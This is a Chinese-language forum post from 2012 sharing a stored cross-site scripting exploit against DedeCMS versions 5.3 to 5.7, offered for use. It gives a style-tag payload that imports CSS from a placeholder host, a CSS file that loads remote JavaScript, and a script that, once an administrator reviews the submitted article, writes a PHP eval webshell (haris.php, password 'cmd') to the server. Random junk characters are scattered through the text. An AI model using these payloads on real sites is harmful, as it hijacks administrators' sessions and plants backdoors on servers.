找回密码
 立即注册
查看: 2549|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell- o. q& L( ^2 J- d/ x7 z9 a* M
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
) I; }. B7 y# ^7 w% U) f目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
% r1 T; y$ L4 a% p下面说说利用方法。
! q. ?- h# a1 @! ~% R条件有2个:
$ A, X6 B/ Z% V* y/ i/ ~1.开启注册* L) b# ]0 N. r1 _4 {, t
2.开启投稿
' p$ ^' P8 l. v注册会员----发表文章- _% J: o; e( V3 \& p7 \
内容填写:
! S' N" v7 D. U. j' I/ ?- `复制代码" h; E- ]5 H* X+ N/ I, T" H! m7 u
<style>@im\port'\http://xxx.com/xss.css';</style>$ R( `% t- f/ j  }  j
新建XSS.Css
* a2 f% \2 @/ z: X  c+ E( a2 }复制代码
6 O/ h* v" K0 f* ~; D.body{
2 g- O5 t- n7 }9 ~1 lbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
) j1 m9 z- T0 {) e3 j" |新建xss.js 内容为6 p$ X0 a& P0 L% K) `  G
复制代码, Q, l2 Q3 x) z, @9 R/ Z
1.var request = false;& T- ?7 m5 v1 l7 `$ Y) `3 n% |0 b
2.if(window.XMLHttpRequest) {
  Z- ~/ u  r. h- a8 J, x3.request = new XMLHttpRequest();
4 U; g7 y/ u/ Y. j4.if(request.overrideMimeType) {* E9 e2 G  j) L; p3 }5 I
5.request.overrideMimeType('text/xml');: [- L) Y: ?- e* _/ a: i& T
6.}2 q5 s0 e) o5 g2 G
7.} else if(window.ActiveXObject) {2 V: h- o1 P& n: z
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];8 o4 P2 V' x; F+ Q3 ?) I4 \
9.for(var i=0; i<versions.length; i++) {  o* s! \4 l2 `6 A- f! o2 ~
10.try {8 E) D% J/ U2 f% q
11.request = new ActiveXObject(versions);! T, M. t7 \. K/ Q' z* J
12.} catch(e) {}
+ O+ K' v2 h4 d13.}
1 J2 R( [% K6 O( l14.}: N; |( g  Q1 I+ ]& X" W
15.xmlhttp=request;  l* E5 t6 f: U' H* L* G- a
16.function getFolder( url ){: p1 _; [1 n4 X% j) J
17. obj = url.split('/')
: y, t# v- X; u1 N; {18. return obj[obj.length-2]4 T( V; @' h$ h+ L
19.}& _/ S0 b5 [7 B% e! F6 z
20.oUrl = top.location.href;
7 V5 `% `7 x2 |3 }& Y; Y$ F21.u = getFolder(oUrl);8 _/ q$ O2 S- [% E( o( s* }# ~
22.add_admin();( A$ x1 w# [/ v9 H) s9 I- S
23.function add_admin(){0 A% s1 g" X* l
24.var url= "/"+u+"/sys_sql_query.php";
% a0 {0 D8 _6 Q. l25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
6 V1 Y. ]9 y7 Z8 i' \9 M# W  F) V26.xmlhttp.open("POST", url, true);
0 s% N2 P& y; [$ L7 e" U# Q+ j2 C27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");) Y6 Q7 Q; q( g. a) C: }; @: @
28.xmlhttp.setRequestHeader("Content-length", params.length);7 m" A  s8 v7 c" x
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
$ Z$ z5 ^  l; z30.xmlhttp.send(params);
. U1 j* [( S) @1 {, N5 ~31.}1 t7 x* O  C& i
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表